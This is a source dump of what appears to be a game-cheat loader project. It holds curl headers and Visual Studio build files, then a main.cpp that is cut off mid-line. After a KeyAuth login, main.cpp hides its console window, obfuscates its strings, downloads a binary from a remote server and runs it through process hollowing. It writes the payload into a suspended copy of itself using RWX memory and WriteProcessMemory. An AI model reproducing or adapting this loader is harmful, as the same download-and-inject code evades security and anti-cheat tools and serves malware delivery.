CURL_TYPEOF_CURL_SOCKLEN_T curl_socklen_t; 448 | #endif 449 | 450 | /* Data type definition of curl_off_t. */ 451 | 452 | #ifdef CURL_TYPEOF_CURL_OFF_T 453 | typedef CURL_TYPEOF_CURL_OFF_T curl_off_t; 454 | #endif 455 | 456 | /* 457 | * CURL_ISOCPP and CURL_OFF_T_C definitions are done here in order to allow 458 | * these to be visible and exported by the external libcurl interface API, 459 | * while also making them visible to the library internals, simply including 460 | * curl_setup.h, without actually needing to include curl.h internally. 461 | * If some day this section would grow big enough, all this should be moved 462 | * to its own header file. 463 | */ 464 | 465 | /* 466 | * Figure out if we can use the ## preprocessor operator, which is supported 467 | * by ISO/ANSI C and C++. Some compilers support it without setting __STDC__ 468 | * or __cplusplus so we need to carefully check for them too. 469 | */ 470 | 471 | #if defined(__STDC__) || defined(_MSC_VER) || defined(__cplusplus) || \ 472 | defined(__HP_aCC) || defined(__BORLANDC__) || defined(__LCC__) || \ 473 | defined(__POCC__) || defined(__SALFORDC__) || defined(__HIGHC__) || \ 474 | defined(__ILEC400__) 475 | /* This compiler is believed to have an ISO compatible preprocessor */ 476 | #define CURL_ISOCPP 477 | #else 478 | /* This compiler is believed NOT to have an ISO compatible preprocessor */ 479 | #undef CURL_ISOCPP 480 | #endif 481 | 482 | /* 483 | * Macros for minimum-width signed and unsigned curl_off_t integer constants. 484 | */ 485 | 486 | #if defined(__BORLANDC__) && (__BORLANDC__ == 0x0551) 487 | # define CURLINC_OFF_T_C_HLPR2(x) x 488 | # define CURLINC_OFF_T_C_HLPR1(x) CURLINC_OFF_T_C_HLPR2(x) 489 | # define CURL_OFF_T_C(Val) CURLINC_OFF_T_C_HLPR1(Val) ## \ 490 | CURLINC_OFF_T_C_HLPR1(CURL_SUFFIX_CURL_OFF_T) 491 | # define CURL_OFF_TU_C(Val) CURLINC_OFF_T_C_HLPR1(Val) ## \ 492 | CURLINC_OFF_T_C_HLPR1(CURL_SUFFIX_CURL_OFF_TU) 493 | #else 494 | # ifdef CURL_ISOCPP 495 | # define CURLINC_OFF_T_C_HLPR2(Val,Suffix) Val ## Suffix 496 | # else 497 | # define CURLINC_OFF_T_C_HLPR2(Val,Suffix) Val/**/Suffix 498 | # endif 499 | # define CURLINC_OFF_T_C_HLPR1(Val,Suffix) CURLINC_OFF_T_C_HLPR2(Val,Suffix) 500 | # define CURL_OFF_T_C(Val) CURLINC_OFF_T_C_HLPR1(Val,CURL_SUFFIX_CURL_OFF_T) 501 | # define CURL_OFF_TU_C(Val) CURLINC_OFF_T_C_HLPR1(Val,CURL_SUFFIX_CURL_OFF_TU) 502 | #endif 503 | 504 | #endif /* CURLINC_SYSTEM_H */ 505 | -------------------------------------------------------------------------------- /curl/urlapi.h: -------------------------------------------------------------------------------- 1 | #ifndef CURLINC_URLAPI_H 2 | #define CURLINC_URLAPI_H 3 | /*************************************************************************** 4 | * _ _ ____ _ 5 | * Project ___| | | | _ \| | 6 | * / __| | | | |_) | | 7 | * | (__| |_| | _ <| |___ 8 | * \___|\___/|_| \_\_____| 9 | * 10 | * Copyright (C) 2018 - 2019, Daniel Stenberg, , et al. 11 | * 12 | * This software is licensed as described in the file COPYING, which 13 | * you should have received as part of this distribution. The terms 14 | * are also available at https://curl.haxx.se/docs/copyright.html. 15 | * 16 | * You may opt to use, copy, modify, merge, publish, distribute and/or sell 17 | * copies of the Software, and permit persons to whom the Software is 18 | * furnished to do so, under the terms of the COPYING file. 19 | * 20 | * This software is distributed on an "AS IS" basis, WITHOUT WARRANTY OF ANY 21 | * KIND, either express or implied. 22 | * 23 | ***************************************************************************/ 24 | 25 | #include "curl.h" 26 | 27 | #ifdef __cplusplus 28 | extern "C" { 29 | #endif 30 | 31 | /* the error codes for the URL API */ 32 | typedef enum { 33 | CURLUE_OK, 34 | CURLUE_BAD_HANDLE, /* 1 */ 35 | CURLUE_BAD_PARTPOINTER, /* 2 */ 36 | CURLUE_MALFORMED_INPUT, /* 3 */ 37 | CURLUE_BAD_PORT_NUMBER, /* 4 */ 38 | CURLUE_UNSUPPORTED_SCHEME, /* 5 */ 39 | CURLUE_URLDECODE, /* 6 */ 40 | CURLUE_OUT_OF_MEMORY, /* 7 */ 41 | CURLUE_USER_NOT_ALLOWED, /* 8 */ 42 | CURLUE_UNKNOWN_PART, /* 9 */ 43 | CURLUE_NO_SCHEME, /* 10 */ 44 | CURLUE_NO_USER, /* 11 */ 45 | CURLUE_NO_PASSWORD, /* 12 */ 46 | CURLUE_NO_OPTIONS, /* 13 */ 47 | CURLUE_NO_HOST, /* 14 */ 48 | CURLUE_NO_PORT, /* 15 */ 49 | CURLUE_NO_QUERY, /* 16 */ 50 | CURLUE_NO_FRAGMENT /* 17 */ 51 | } CURLUcode; 52 | 53 | typedef enum { 54 | CURLUPART_URL, 55 | CURLUPART_SCHEME, 56 | CURLUPART_USER, 57 | CURLUPART_PASSWORD, 58 | CURLUPART_OPTIONS, 59 | CURLUPART_HOST, 60 | CURLUPART_PORT, 61 | CURLUPART_PATH, 62 | CURLUPART_QUERY, 63 | CURLUPART_FRAGMENT, 64 | CURLUPART_ZONEID /* added in 7.65.0 */ 65 | } CURLUPart; 66 | 67 | #define CURLU_DEFAULT_PORT (1<<0) /* return default port number */ 68 | #define CURLU_NO_DEFAULT_PORT (1<<1) /* act as if no port number was set, 69 | if the port number matches the 70 | default for the scheme */ 71 | #define CURLU_DEFAULT_SCHEME (1<<2) /* return default scheme if 72 | missing */ 73 | #define CURLU_NON_SUPPORT_SCHEME (1<<3) /* allow non-supported scheme */ 74 | #define CURLU_PATH_AS_IS (1<<4) /* leave dot sequences */ 75 | #define CURLU_DISALLOW_USER (1<<5) /* no user+password allowed */ 76 | #define CURLU_URLDECODE (1<<6) /* URL decode on get */ 77 | #define CURLU_URLENCODE (1<<7) /* URL encode on set */ 78 | #define CURLU_APPENDQUERY (1<<8) /* append a form style part */ 79 | #define CURLU_GUESS_SCHEME (1<<9) /* legacy curl-style guessing */ 80 | #define CURLU_NO_AUTHORITY (1<<10) /* Allow empty authority when the 81 | scheme is unknown. */ 82 | 83 | typedef struct Curl_URL CURLU; 84 | 85 | /* 86 | * curl_url() creates a new CURLU handle and returns a pointer to it. 87 | * Must be freed with curl_url_cleanup(). 88 | */ 89 | CURL_EXTERN CURLU *curl_url(void); 90 | 91 | /* 92 | * curl_url_cleanup() frees the CURLU handle and related resources used for 93 | * the URL parsing. It will not free strings previously returned with the URL 94 | * API. 95 | */ 96 | CURL_EXTERN void curl_url_cleanup(CURLU *handle); 97 | 98 | /* 99 | * curl_url_dup() duplicates a CURLU handle and returns a new copy. The new 100 | * handle must also be freed with curl_url_cleanup(). 101 | */ 102 | CURL_EXTERN CURLU *curl_url_dup(CURLU *in); 103 | 104 | /* 105 | * curl_url_get() extracts a specific part of the URL from a CURLU 106 | * handle. Returns error code. The returned pointer MUST be freed with 107 | * curl_free() afterwards. 108 | */ 109 | CURL_EXTERN CURLUcode curl_url_get(CURLU *handle, CURLUPart what, 110 | char **part, unsigned int flags); 111 | 112 | /* 113 | * curl_url_set() sets a specific part of the URL in a CURLU handle. Returns 114 | * error code. The passed in string will be copied. Passing a NULL instead of 115 | * a part string, clears that part. 116 | */ 117 | CURL_EXTERN CURLUcode curl_url_set(CURLU *handle, CURLUPart what, 118 | const char *part, unsigned int flags); 119 | 120 | 121 | #ifdef __cplusplus 122 | } /* end of extern "C" */ 123 | #endif 124 | 125 | #endif /* CURLINC_URLAPI_H */ 126 | -------------------------------------------------------------------------------- /example.sln: -------------------------------------------------------------------------------- 1 |  2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio Version 16 4 | VisualStudioVersion = 16.0.31624.102 5 | MinimumVisualStudioVersion = 10.0.40219.1 6 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "example", "example.vcxproj", "{3E584710-D844-49E5-9938-B4EFA4928B17}" 7 | EndProject 8 | Global 9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 10 | Debug|x64 = Debug|x64 11 | Debug|x86 = Debug|x86 12 | Release|x64 = Release|x64 13 | Release|x86 = Release|x86 14 | EndGlobalSection 15 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 16 | {3E584710-D844-49E5-9938-B4EFA4928B17}.Debug|x64.ActiveCfg = Debug|x64 17 | {3E584710-D844-49E5-9938-B4EFA4928B17}.Debug|x64.Build.0 = Debug|x64 18 | {3E584710-D844-49E5-9938-B4EFA4928B17}.Debug|x86.ActiveCfg = Debug|Win32 19 | {3E584710-D844-49E5-9938-B4EFA4928B17}.Debug|x86.Build.0 = Debug|Win32 20 | {3E584710-D844-49E5-9938-B4EFA4928B17}.Release|x64.ActiveCfg = Release|x64 21 | {3E584710-D844-49E5-9938-B4EFA4928B17}.Release|x64.Build.0 = Release|x64 22 | {3E584710-D844-49E5-9938-B4EFA4928B17}.Release|x86.ActiveCfg = Release|Win32 23 | {3E584710-D844-49E5-9938-B4EFA4928B17}.Release|x86.Build.0 = Release|Win32 24 | EndGlobalSection 25 | GlobalSection(SolutionProperties) = preSolution 26 | HideSolutionNode = FALSE 27 | EndGlobalSection 28 | GlobalSection(ExtensibilityGlobals) = postSolution 29 | SolutionGuid = {9EE66AFE-8CA5-4A35-9001-B4A57E4493E3} 30 | EndGlobalSection 31 | EndGlobal 32 | -------------------------------------------------------------------------------- /example.vcxproj: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Debug 6 | Win32 7 | 8 | 9 | Release 10 | Win32 11 | 12 | 13 | Debug 14 | x64 15 | 16 | 17 | Release 18 | x64 19 | 20 | 21 | 22 | 16.0 23 | Win32Proj 24 | {3e584710-d844-49e5-9938-b4efa4928b17} 25 | example 26 | 10.0 27 | 28 | 29 | 30 | Application 31 | true 32 | v142 33 | Unicode 34 | 35 | 36 | Application 37 | false 38 | v142 39 | true 40 | Unicode 41 | 42 | 43 | Application 44 | true 45 | v143 46 | Unicode 47 | 48 | 49 | Application 50 | false 51 | v142 52 | true 53 | MultiByte 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | true 75 | 76 | 77 | false 78 | .\;$(IncludePath) 79 | .\;$(LibraryPath) 80 | 81 | 82 | true 83 | 84 | 85 | false 86 | C:\Program Files %28x86%29\Microsoft DirectX SDK %28June 2010%29\Include;$(IncludePath) 87 | C:\Program Files %28x86%29\Microsoft DirectX SDK %28June 2010%29\Lib\x64;$(LibraryPath) 88 | 89 | 90 | 91 | Level3 92 | true 93 | WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions) 94 | true 95 | 96 | 97 | Console 98 | true 99 | 100 | 101 | 102 | 103 | Level3 104 | true 105 | true 106 | true 107 | CURL_STATICLIB;WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions) 108 | true 109 | stdcpp17 110 | 111 | 112 | Console 113 | true 114 | true 115 | true 116 | libcurl.lib;library_x86.lib;%(AdditionalDependencies) 117 | 118 | 119 | 120 | 121 | Level3 122 | true 123 | _DEBUG;_CONSOLE;%(PreprocessorDefinitions) 124 | true 125 | 126 | 127 | Console 128 | true 129 | 130 | 131 | 132 | 133 | Level3 134 | true 135 | true 136 | true 137 | _CRT_SECURE_NO_WARNINGS;NDEBUG;_CONSOLE;%(PreprocessorDefinitions) 138 | true 139 | stdcpp17 140 | MultiThreadedDLL 141 | 142 | 143 | Windows 144 | true 145 | true 146 | true 147 | library_x64.lib;libcurl.lib;%(AdditionalDependencies) 148 | 149 | 150 | 151 | 152 | 153 | 154 | 155 | 156 | 157 | 158 | 159 | 160 | 161 | 162 | 163 | 164 | 165 | 166 | 167 | 168 | 169 | 170 | 171 | 172 | 173 | 174 | 175 | 176 | 177 | 178 | 179 | 180 | 181 | 182 | 183 | 184 | 185 | 186 | 187 | 188 | 189 | -------------------------------------------------------------------------------- /example.vcxproj.filters: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF} 6 | cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx 7 | 8 | 9 | {93995380-89BD-4b04-88EB-625FBE52EBFB} 10 | h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd 11 | 12 | 13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} 14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms 15 | 16 | 17 | {de1a561c-edb6-4e62-a44a-ca45ef812d97} 18 | 19 | 20 | {15a5952f-77a3-45e1-bb61-a96f1dc841a2} 21 | 22 | 23 | {37e686b8-da0b-4659-a7f7-06cd23d19934} 24 | 25 | 26 | 27 | 28 | Source Files 29 | 30 | 31 | ImGui 32 | 33 | 34 | ImGui 35 | 36 | 37 | ImGui 38 | 39 | 40 | ImGui 41 | 42 | 43 | ImGui 44 | 45 | 46 | ImGui 47 | 48 | 49 | ImGui 50 | 51 | 52 | Header Files\auth 53 | 54 | 55 | 56 | 57 | Header Files\auth 58 | 59 | 60 | ImGui 61 | 62 | 63 | ImGui 64 | 65 | 66 | ImGui 67 | 68 | 69 | ImGui 70 | 71 | 72 | ImGui 73 | 74 | 75 | ImGui 76 | 77 | 78 | ImGui 79 | 80 | 81 | ImGui 82 | 83 | 84 | Security 85 | 86 | 87 | Header Files\auth 88 | 89 | 90 | Header Files 91 | 92 | 93 | Header Files 94 | 95 | 96 | Header Files 97 | 98 | 99 | Header Files 100 | 101 | 102 | Header Files 103 | 104 | 105 | Header Files 106 | 107 | 108 | Header Files 109 | 110 | 111 | Header Files 112 | 113 | 114 | Header Files 115 | 116 | 117 | 118 | 119 | Header Files\auth 120 | 121 | 122 | -------------------------------------------------------------------------------- /example.vcxproj.user: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | -------------------------------------------------------------------------------- /libcurl.lib: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/alcatrazsolution/keyauth-imgui-loader/3ccd3b929a2629ab1b08bd3ecb2b808d0b1086a8/libcurl.lib -------------------------------------------------------------------------------- /library_x64.lib: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/alcatrazsolution/keyauth-imgui-loader/3ccd3b929a2629ab1b08bd3ecb2b808d0b1086a8/library_x64.lib -------------------------------------------------------------------------------- /library_x86.lib: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/alcatrazsolution/keyauth-imgui-loader/3ccd3b929a2629ab1b08bd3ecb2b808d0b1086a8/library_x86.lib -------------------------------------------------------------------------------- /main.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | #include "auth.hpp" 3 | #include 4 | #include 5 | #include "skCrpyt.h" 6 | #pragma comment(lib,"d3d9.lib") 7 | //#pragma comment(lib, "D3dx9") 8 | 9 | IDirect3DTexture9* masterlogo; 10 | 11 | #include "ImGui/imgui.h" 12 | #include "ImGui/imgui_impl_dx9.h" 13 | #include "ImGui/imgui_impl_win32.h" 14 | #include "anti_debug.h" 15 | 16 | std::string tm_to_readable_time(tm ctx); 17 | static std::time_t string_to_timet(std::string timestamp); 18 | static std::tm timet_to_tm(time_t timestamp); 19 | 20 | using namespace KeyAuth; 21 | std::string name = (""); 22 | std::string ownerid = (""); 23 | std::string secret = (""); 24 | std::string version = ("1.0"); 25 | std::string url = "https://keyauth.win/api/1.1/"; // change if you're self-hosting 26 | std::string sslPin = "ssl pin key (optional)"; // don't change unless you intend to pin public certificate key. you can get here in the "Pin SHA256" field https://www.ssllabs.com/ssltest/analyze.html?d=keyauth.win&latest. If you do this you need to be aware of when SSL key expires so you can update it 27 | 28 | bool loader_active = true; 29 | bool ranOnce = true; 30 | 31 | static int width = 350; 32 | static int height = 200; 33 | 34 | char PassWord[20] = ""; 35 | char Licence[50] = ""; 36 | char UserName[20] = ""; 37 | char RgPassWord[20] = ""; 38 | char RgUserName[20] = ""; 39 | 40 | api KeyAuthApp(name, ownerid, secret, version, url, sslPin); 41 | 42 | HWND main_hwnd = nullptr; 43 | 44 | LPDIRECT3DDEVICE9 g_pd3dDevice; 45 | D3DPRESENT_PARAMETERS g_d3dpp; 46 | LPDIRECT3D9 g_pD3D; 47 | 48 | extern IMGUI_IMPL_API LRESULT ImGui_ImplWin32_WndProcHandler(HWND hWnd, UINT msg, WPARAM wParam, LPARAM lParam); 49 | LRESULT CALLBACK WndProc(HWND, UINT, WPARAM, LPARAM); 50 | 51 | bool CreateDeviceD3D(HWND hWnd) 52 | { 53 | if ((g_pD3D = Direct3DCreate9(D3D_SDK_VERSION)) == NULL) 54 | return false; 55 | 56 | // Create the D3DDevice 57 | ZeroMemory(&g_d3dpp, sizeof(g_d3dpp)); 58 | g_d3dpp.Windowed = TRUE; 59 | g_d3dpp.SwapEffect = D3DSWAPEFFECT_DISCARD; 60 | g_d3dpp.BackBufferFormat = D3DFMT_UNKNOWN; 61 | g_d3dpp.EnableAutoDepthStencil = TRUE; 62 | g_d3dpp.AutoDepthStencilFormat = D3DFMT_D16; 63 | g_d3dpp.PresentationInterval = D3DPRESENT_INTERVAL_ONE; // Present with vsync 64 | //g_d3dpp.PresentationInterval = D3DPRESENT_INTERVAL_IMMEDIATE; // Present without vsync, maximum unthrottled framerate 65 | if (g_pD3D->CreateDevice(D3DADAPTER_DEFAULT, D3DDEVTYPE_HAL, hWnd, D3DCREATE_HARDWARE_VERTEXPROCESSING, &g_d3dpp, &g_pd3dDevice) < 0) 66 | return false; 67 | return true; 68 | } 69 | 70 | void CleanupDeviceD3D() 71 | { 72 | if (g_pd3dDevice) { g_pd3dDevice->Release(); g_pd3dDevice = NULL; } 73 | if (g_pD3D) { g_pD3D->Release(); g_pD3D = NULL; } 74 | } 75 | 76 | void ResetDevice() 77 | { 78 | ImGui_ImplDX9_InvalidateDeviceObjects(); 79 | HRESULT hr = g_pd3dDevice->Reset(&g_d3dpp); 80 | if (hr == D3DERR_INVALIDCALL) 81 | IM_ASSERT(0); 82 | ImGui_ImplDX9_CreateDeviceObjects(); 83 | } 84 | 85 | bool LoginCheck = false; 86 | 87 | int APIENTRY WindownsMain(HINSTANCE, HINSTANCE, LPSTR, int) 88 | { 89 | WNDCLASSEX wc = { sizeof(WNDCLASSEX), CS_CLASSDC, WndProc, 0L, 0L, GetModuleHandle(NULL), NULL, NULL, NULL, NULL,skCrypt("Loaders"), NULL }; 90 | RegisterClassEx(&wc); 91 | main_hwnd = CreateWindow(wc.lpszClassName, skCrypt("Loaders"), WS_POPUP, 0, 0, 5, 5, NULL, NULL, wc.hInstance, NULL); 92 | 93 | if (!CreateDeviceD3D(main_hwnd)) { 94 | CleanupDeviceD3D(); 95 | UnregisterClass(wc.lpszClassName, wc.hInstance); 96 | return 1; 97 | } 98 | ShowWindow(main_hwnd, SW_HIDE); 99 | UpdateWindow(main_hwnd); 100 | 101 | HWND Stealth; 102 | AllocConsole(); 103 | Stealth = FindWindowA(skCrypt("ConsoleWindowClass"), NULL); 104 | ShowWindow(Stealth, 0); 105 | 106 | ImGui::CreateContext(); 107 | ImGuiIO& io = ImGui::GetIO(); 108 | io.IniFilename = nullptr; 109 | io.ConfigFlags |= ImGuiConfigFlags_ViewportsEnable; 110 | 111 | constexpr auto ColorFromBytes = [](uint8_t r, uint8_t g, uint8_t b) 112 | { 113 | return ImVec4((float)r / 255.0f, (float)g / 255.0f, (float)b / 255.0f, 1.0f); 114 | }; 115 | 116 | auto& style = ImGui::GetStyle(); 117 | ImVec4* colors = style.Colors; 118 | 119 | const ImVec4 bgColor = ColorFromBytes(37, 37, 38); 120 | const ImVec4 lightBgColor = ColorFromBytes(82, 82, 85); 121 | const ImVec4 veryLightBgColor = ColorFromBytes(90, 90, 95); 122 | 123 | const ImVec4 panelColor = ColorFromBytes(51, 51, 55); 124 | const ImVec4 panelHoverColor = ColorFromBytes(29, 151, 236); 125 | const ImVec4 panelActiveColor = ColorFromBytes(0, 224, 255); 126 | 127 | const ImVec4 textColor = ColorFromBytes(255, 255, 255); 128 | const ImVec4 textDisabledColor = ColorFromBytes(151, 151, 151); 129 | const ImVec4 borderColor = ColorFromBytes(78, 78, 78); 130 | 131 | colors[ImGuiCol_Text] = textColor; 132 | colors[ImGuiCol_TextDisabled] = textDisabledColor; 133 | colors[ImGuiCol_TextSelectedBg] = panelActiveColor; 134 | colors[ImGuiCol_WindowBg] = bgColor; 135 | colors[ImGuiCol_ChildBg] = ColorFromBytes(121, 121, 121);; 136 | colors[ImGuiCol_PopupBg] = bgColor; 137 | colors[ImGuiCol_Border] = borderColor; 138 | colors[ImGuiCol_BorderShadow] = borderColor; 139 | colors[ImGuiCol_FrameBg] = panelColor; 140 | colors[ImGuiCol_FrameBgHovered] = panelHoverColor; 141 | colors[ImGuiCol_FrameBgActive] = panelActiveColor; 142 | colors[ImGuiCol_TitleBg] = bgColor; 143 | colors[ImGuiCol_TitleBgActive] = bgColor; 144 | colors[ImGuiCol_TitleBgCollapsed] = bgColor; 145 | colors[ImGuiCol_MenuBarBg] = panelColor; 146 | colors[ImGuiCol_ScrollbarBg] = panelColor; 147 | colors[ImGuiCol_ScrollbarGrab] = lightBgColor; 148 | colors[ImGuiCol_ScrollbarGrabHovered] = veryLightBgColor; 149 | colors[ImGuiCol_ScrollbarGrabActive] = veryLightBgColor; 150 | colors[ImGuiCol_CheckMark] = panelActiveColor; 151 | colors[ImGuiCol_SliderGrab] = panelHoverColor; 152 | colors[ImGuiCol_SliderGrabActive] = panelActiveColor; 153 | colors[ImGuiCol_Button] = panelColor; 154 | colors[ImGuiCol_ButtonHovered] = panelHoverColor; 155 | colors[ImGuiCol_ButtonActive] = panelHoverColor; 156 | colors[ImGuiCol_Header] = panelColor; 157 | colors[ImGuiCol_HeaderHovered] = panelHoverColor; 158 | colors[ImGuiCol_HeaderActive] = panelActiveColor; 159 | colors[ImGuiCol_Separator] = borderColor; 160 | colors[ImGuiCol_SeparatorHovered] = borderColor; 161 | colors[ImGuiCol_SeparatorActive] = borderColor; 162 | colors[ImGuiCol_ResizeGrip] = bgColor; 163 | colors[ImGuiCol_ResizeGripHovered] = panelColor; 164 | colors[ImGuiCol_ResizeGripActive] = lightBgColor; 165 | colors[ImGuiCol_PlotLines] = panelActiveColor; 166 | colors[ImGuiCol_PlotLinesHovered] = panelHoverColor; 167 | colors[ImGuiCol_PlotHistogram] = panelActiveColor; 168 | colors[ImGuiCol_PlotHistogramHovered] = panelHoverColor; 169 | colors[ImGuiCol_DragDropTarget] = bgColor; 170 | colors[ImGuiCol_NavHighlight] = bgColor; 171 | colors[ImGuiCol_DockingPreview] = panelActiveColor; 172 | colors[ImGuiCol_Tab] = bgColor; 173 | colors[ImGuiCol_TabActive] = panelActiveColor; 174 | colors[ImGuiCol_TabUnfocused] = bgColor; 175 | colors[ImGuiCol_TabUnfocusedActive] = panelActiveColor; 176 | colors[ImGuiCol_TabHovered] = panelHoverColor; 177 | 178 | style.WindowRounding = 0.0f; 179 | style.ChildRounding = 0.0f; 180 | style.FrameRounding = 0.0f; 181 | style.GrabRounding = 0.0f; 182 | style.PopupRounding = 0.0f; 183 | style.ScrollbarRounding = 0.0f; 184 | style.TabRounding = 0.0f; 185 | 186 | ImGui_ImplWin32_Init(main_hwnd); 187 | ImGui_ImplDX9_Init(g_pd3dDevice); 188 | 189 | DWORD window_flags = ImGuiWindowFlags_AlwaysAutoResize | ImGuiWindowFlags_NoSavedSettings | ImGuiWindowFlags_NoScrollbar; 190 | RECT screen_rect; 191 | GetWindowRect(GetDesktopWindow(), &screen_rect); 192 | auto x = float(screen_rect.right - width) / 2.f; 193 | auto y = float(screen_rect.bottom - height) / 2.f; 194 | 195 | static int Tabs = 2; 196 | int currItem = 0; 197 | const char* AllCheats[] = {"None", "file name"}; 198 | 199 | bool InfWindow = true; 200 | 201 | KeyAuthApp.init(); 202 | /*vector targetLocation = grabPath();*/ 203 | MSG msg; 204 | ZeroMemory(&msg, sizeof(msg)); 205 | 206 | while (msg.message != WM_QUIT && !LoginCheck) 207 | { 208 | //if (security::check_security() != security::internal::debug_results::none) { 209 | // //for (int i = 0; i < targetLocation.size(); i++) { 210 | // // if (pathExist(targetLocation[i])) { 211 | // // sendMsgIfCracking(targetLocation[i], std::to_string(security::check_security())); 212 | // // } 213 | // //} 214 | // KeyAuthApp.ban(); 215 | // exit(0); 216 | //} 217 | if (PeekMessage(&msg, NULL, 0U, 0U, PM_REMOVE)) 218 | { 219 | TranslateMessage(&msg); 220 | DispatchMessage(&msg); 221 | continue; 222 | } 223 | 224 | ImGui_ImplDX9_NewFrame(); 225 | ImGui_ImplWin32_NewFrame(); 226 | ImGui::NewFrame(); 227 | { 228 | ImGui::SetNextWindowPos(ImVec2(x, y), ImGuiCond_Once); 229 | ImGui::SetNextWindowSize(ImVec2(width, height)); 230 | ImGui::SetNextWindowBgAlpha(1.0f); 231 | 232 | ImGui::Begin(skCrypt("DeletedTOS#1027"), &loader_active, window_flags); 233 | { 234 | if (Tabs == 1 || Tabs == 2) 235 | { 236 | 237 | if (ImGui::Button(skCrypt("Regster"), ImVec2(100, 20))) 238 | { 239 | Tabs = 1; 240 | } 241 | 242 | ImGui::SameLine(); 243 | 244 | if (ImGui::Button(skCrypt("Login"), ImVec2(100, 20))) 245 | { 246 | Tabs = 2; 247 | } 248 | } 249 | if (Tabs == 1) 250 | { 251 | 252 | ImGui::Spacing(); 253 | 254 | ImGui::Separator(); 255 | 256 | ImGui::InputText(skCrypt("Username##rg"), RgUserName, IM_ARRAYSIZE(RgUserName)); 257 | 258 | ImGui::InputText(skCrypt("Password##rg"), RgPassWord, IM_ARRAYSIZE(RgPassWord)); 259 | 260 | ImGui::InputText(skCrypt("Licence##rg"), Licence, IM_ARRAYSIZE(Licence)); 261 | 262 | if (ImGui::Button(skCrypt("Regster "), ImVec2(320, 25))) 263 | { 264 | KeyAuthApp.regstr(RgUserName, RgPassWord, Licence); 265 | 266 | if (!KeyAuthApp.data.success) 267 | { 268 | MessageBox(NULL, skCrypt("Regster unsuccessful!"), skCrypt("Regster"), MB_OK); 269 | } 270 | else 271 | MessageBox(NULL, skCrypt("Regster successful!"), skCrypt("Regster"), MB_OK); 272 | } 273 | } 274 | 275 | if (Tabs == 2) 276 | { 277 | 278 | ImGui::Spacing(); 279 | 280 | ImGui::Separator(); 281 | 282 | ImGui::InputText(skCrypt("Username##rg"), UserName, IM_ARRAYSIZE(UserName)); 283 | 284 | ImGui::InputText(skCrypt("Password##rg"), PassWord, IM_ARRAYSIZE(PassWord), ImGuiInputTextFlags_Password); 285 | 286 | if (ImGui::Button(skCrypt("Login##Log"), ImVec2(320, 25))) 287 | { 288 | KeyAuthApp.login(UserName, PassWord); 289 | 290 | if (!KeyAuthApp.data.success) 291 | { 292 | MessageBox(NULL, skCrypt("Login Error!"), skCrypt("Login"), MB_OK); 293 | } 294 | else 295 | { 296 | MessageBox(NULL, skCrypt("Login successful!"), skCrypt("Login"), MB_OK); 297 | InfWindow = true; 298 | Tabs = 3; 299 | } 300 | } 301 | } 302 | 303 | if (Tabs == 3) 304 | { 305 | ImGui::Combo(skCrypt("Cheats"), &currItem, AllCheats, IM_ARRAYSIZE(AllCheats)); 306 | if (ImGui::Button(skCrypt("Launch"))) 307 | { 308 | std::string downloadCode; 309 | switch (currItem) 310 | { 311 | case 0: 312 | downloadCode = skCrypt("None"); 313 | break; 314 | case 1: 315 | downloadCode = skCrypt("158725"); //file script 316 | break; 317 | default: 318 | downloadCode = skCrypt("None"); 319 | break; 320 | } 321 | 322 | if (downloadCode != "None") 323 | { 324 | std::vector bytes = KeyAuthApp.download(downloadCode); 325 | void* pe = bytes.data(); 326 | 327 | IMAGE_DOS_HEADER* DOSHeader; 328 | IMAGE_NT_HEADERS64* NtHeader; 329 | IMAGE_SECTION_HEADER* SectionHeader; 330 | 331 | PROCESS_INFORMATION PI; 332 | STARTUPINFOA SI; 333 | ZeroMemory(&PI, sizeof(PI)); 334 | ZeroMemory(&SI, sizeof(SI)); 335 | 336 | void* pImageBase; 337 | char currentFilePath[1024]; 338 | 339 | DOSHeader = PIMAGE_DOS_HEADER(pe); 340 | NtHeader = PIMAGE_NT_HEADERS64(DWORD64(pe) + DOSHeader->e_lfanew); 341 | 342 | if (NtHeader->Signature == IMAGE_NT_SIGNATURE) { 343 | GetModuleFileNameA(NULL, currentFilePath, MAX_PATH); 344 | 345 | if (CreateProcessA(currentFilePath, NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &SI, &PI)) { 346 | CONTEXT* CTX; 347 | CTX = LPCONTEXT(VirtualAlloc(NULL, sizeof(CTX), MEM_COMMIT, PAGE_READWRITE)); 348 | CTX->ContextFlags = CONTEXT_FULL; 349 | UINT64 imageBase = 0; 350 | 351 | if (GetThreadContext(PI.hThread, LPCONTEXT(CTX))) { 352 | pImageBase = VirtualAllocEx( 353 | PI.hProcess, 354 | LPVOID(NtHeader->OptionalHeader.ImageBase), 355 | NtHeader->OptionalHeader.SizeOfImage, 356 | MEM_COMMIT | MEM_RESERVE, 357 | PAGE_EXECUTE_READWRITE 358 | ); 359 | 360 | WriteProcessMemory(PI.hProcess, pImageBase, pe, NtHeader->OptionalHeader.SizeOfHeaders, NULL); 361 | 362 | for (size_t i = 0; i < NtHeader->FileHeader.NumberOfSections; i++) 363 | { 364 | SectionHeader = PIMAGE_SECTION_HEADER(DWORD64(pe) + DOSHeader->e_lfanew + 264 + (i * 40)); 365 | 366 | WriteProcessMemory( 367 | PI.hProcess, 368 | LPVOID(DWORD64(pImageBase) + SectionHeader->VirtualAddress), 369 | LPVOID(DWORD64(pe) + 